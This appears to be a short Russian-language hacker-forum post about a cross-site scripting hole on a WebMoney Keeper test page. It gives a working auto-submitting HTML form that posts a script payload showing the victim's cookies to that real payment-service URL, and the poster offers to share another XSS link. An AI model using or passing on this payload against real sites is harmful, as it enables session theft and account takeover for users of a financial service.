нашел случайно - в страничках кипера увидел закоментенный блок с линком на тестовую страницу: <form action="http://keeper.webmoney.ru/docs/test.asp" METHOD="post"> <input type=hidden name='XSS' value='<script>alert(document.cookie + "\nXSS by KPbIC([email protected])")</script>'> </form> <script>document.forms[0].submit();</script>
хссы на пост - тру, единственное, от них толку нет) Кста, me тожел нашел хсс в посте, кому линк надо?)